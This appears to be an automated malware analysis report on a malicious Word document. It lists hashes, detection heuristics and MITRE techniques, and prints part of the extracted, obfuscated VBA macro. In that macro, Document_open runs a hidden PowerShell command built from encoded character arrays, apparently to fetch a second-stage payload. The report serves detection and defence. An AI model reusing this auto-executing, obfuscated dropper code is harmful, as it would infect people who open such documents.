Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 109fbcb1d9f48ecd…

MALICIOUS

Office (OLE)

99.1 KB Created: 2018-06-13 07:47:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: bbc70571f899552cd023887a326348d3 SHA-1: 445ddd90adf5de06829d0f0061c661faae39ef03 SHA-256: 109fbcb1d9f48ecdf451dbbb68a1e4c5c8cd9ff80395f280485dfe852e777030
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' indicates the use of the Shell() function, and the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic confirms that the Document_open auto-execution macro is used to execute code via Shell(). The VBA script attempts to construct and execute a command that includes the string 'powershell'. This suggests the macro's purpose is to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.0053456c-6874533-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.0053456c-6874533-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15046 bytes
SHA-256: 8948e9b18450444e44b9606de920d264bca15539da49a262fc95a9bb5ae69ef2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PzjIiOB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function TZCIdAw()
On Error Resume Next
SfjGZX = UOpGlk
XQvuG = CDbl(GNYLXF * CDbl(HsnlRl + Int(KLBVCn * Rnd(20892)) * twIwvY * Log(84673 * DtTQi - HYjTm + Fix(51))))
PSwoZ = Tan(25758)
PZrSl = CDbl(TZDaKM)
bbDpzB = Tan(81965)
rkszU = FDcmj
hfldCA = HmhVIJ
OjrLs = CDbl(AlImmI * CDbl(EVAik + Int(PfkFGp * Rnd(93789)) * tTVHia * Log(52821 * VbjaR - wXzrtj + Fix(51))))
jFSvS = Tan(94235)
ikVvqH = CDbl(mfIhq)
mlDkit = Tan(89071)
AYvKLV = MGOwNO
rqNfbn = kTjMto
MIaTYL = CDbl(XVZhb * CDbl(kUJIB + Int(zIihf * Rnd(69771)) * DcmfjU * Log(50635 * UJvjI - XTUnz + Fix(51))))
hSWzj = Tan(63750)
qdiavi = CDbl(HolqpN)
muPKa = Tan(21227)
fPLNc = napNuh
rqjAzR = iiizk
HfEzzS = CDbl(PnRfNw * CDbl(wbJkRd + Int(nYcNf * Rnd(52509)) * sGizz * Log(71415 * iJiHGn - DZDmw + Fix(51))))
vJNbFY = Tan(69830)
TGbkSq = CDbl(XhiiQ)
PHZuj = Tan(13348)
GURfc = pzkzZ
TZCIdAw = CqntZqG + VBA.Shell(umWjdEMR + Chr(jtkDLbNCHY + vbKeyP + MqtHU) + "owers" + bfwBVn + vjtlJt + NQBDOBshP + iAuhGq + jbSQi + RimhZQkQff + kmsJfAIiw, 61365 - 61365)
DVXhtp = QwWqU
lPvpt = CDbl(VRkiG * CDbl(JlmMm + Int(uRZKlw * Rnd(69939)) * nuYANJ * Log(9358 * voOvn - vZTmR + Fix(51))))
jEKlho = Tan(32767)
wbdwF = CDbl(ibtjU)
kDiEJW = Tan(91650)
zEqzzq = YWAqz
CHUKQ = frTfjR
hfMjG = CDbl(LXjwk * CDbl(TzHvLZ + Int(djvzWm * Rnd(64447)) * jjCUG * Log(65877 * YVWjN - jqWLk + Fix(51))))
FAjQUr = Tan(82913)
lliquZ = CDbl(iqdcd)
wqXwIG = Tan(83920)
IbmYbL = zsZlm
End Function
Private Sub Document_open()
On Error Resume Next
uamnf = oFBzsj
koPlX = CDbl(uXpsLw * CDbl(poJVG + Int(ONBioz * Rnd(85875)) * XOwtjC * Log(60782 * wtXMO - rFhaq + Fix(51))))
kJJju = Tan(26624)
iGblfs = CDbl(Itzft)
zzwjsK = Tan(40168)
TsPzu = vVwAN
hmmpS = jVwjLi
zDjHhi = CDbl(qZWmGO * CDbl(OFzqiz + Int(LlhCz * Rnd(21927)) * wwmlS * Log(33447 * NHQlj - jIPAj + Fix(51))))
QnXSP = Tan(443)
mlRwFj = CDbl(jrakB)
ISQwt = Tan(63921)
zRAziE = wcDVjS
TZCIdAw
awIKBJ = phfwv
qRSOo = CDbl(mKhvSm * CDbl(UoIYqz + Int(SrEpX * Rnd(7116)) * imWqiX * Log(75750 * dQnFT - TsBqYL + Fix(51))))
CviCtD = Tan(67115)
NdqkvH = CDbl(LEjPC)
djIoBq = Tan(76156)
Krkld = zwDwz
MQnzUY = vhwGJI
TpXCXh = CDbl(AKiqrv * CDbl(RzDCi + Int(wuEmR * Rnd(10244)) * DQGrq * Log(69701 * hQqwJ - LLFIHc + Fix(51))))
zAGNBh = Tan(63183)
YkklSO = CDbl(jDnAHb)
iiksEa = Tan(10276)
AHEtj = kpwfod
End Sub


Attribute VB_Name = "YjOnPikJjFMq"
Function bfwBVn()
On Error Resume Next
uzrHS = PnkrDV
LwiaZA = zYiAzh
UihTok = Tan(35984)
rvjGql = Tan(35456)
bfCiG = CDbl(skiAt)
jFXzMT = CDbl(ijMbV * CDbl(MSqLL + Int(OMHZU * Rnd(29014)) * GiwBM * Log(64224 * NMajtZ - acPWzE + Fix(51))))
MuYbK = "HeLL ([chAr[]]" + "( 15 ,94 , 111" + " ,94 ,79" + " , 95 , 11"
udJjd = GUthN
iwkujK = mhrlW
naLoXo = Tan(88792)
NmzQi = Tan(45807)
nAGqz = CDbl(jrYodv)
jwUna = CDbl(CUijk * CDbl(hXsasT + Int(cwszOw * Rnd(51278)) * SdFsG * Log(63188 * dORMq - VczPAS + Fix(51))))
IjkJoXqVlkI = ",22, 11 ," + "69 , 78 , 92" + ", 6,68 ," + "73, 65, 78, 7" + "2 , 95,11" + " ," + "89,74, 69 " + ", " + "79 , 68,"
fzwIz = VKqKUj
HpOKWq = mkbbWW
uLTHK = Tan(25898)
bUsSRU = Tan(33538)
ojDzI = CDbl(TEcMC)
swBIua = CDbl(ouTsLY * CDbl(rZHTM + Int(KEPwK * Rnd(73639)) * UjSGqI * Log(86202 * vQIZqz - uvSKS + Fix(51))))
zthDlpno = "70 ,16 , 15 " + ", 1" + "20 ,10" + "2,104 , 90" + ",115 , 79 " + ", 11" + ", 22,1" + "1 ,69, 78 ,92 ," + " 6,68 "
HvTKz = iSXBfD
uUnONK = qfORi
NdBljn = Tan(40804)
TLZYw = Tan(98157)
zbGRIf = CDbl(JZFmaG)
GmRwD = CDbl(NoDhi * CDbl(Wzopu + Int(dNVJLK * Rnd(64528)) * ocfics * Log(73132 * tjtaU - lrrnJC + Fix(51))))
ulhcapwV = ",73,65 , 78" + " ,72 , 95,11 ,1" + "20, 82 ,8" + "8 ,95 , 78,7" + "0 , 5 , 101" + ", " + "78,95 , 5,124"
inmIHF = SldqBb
FmIMwz = RhXckJ
GuNBl = Tan(41469)
zdssEQ = Tan(42534)
SABSwG = CDbl(oQSfO)
FRYo
... (truncated)

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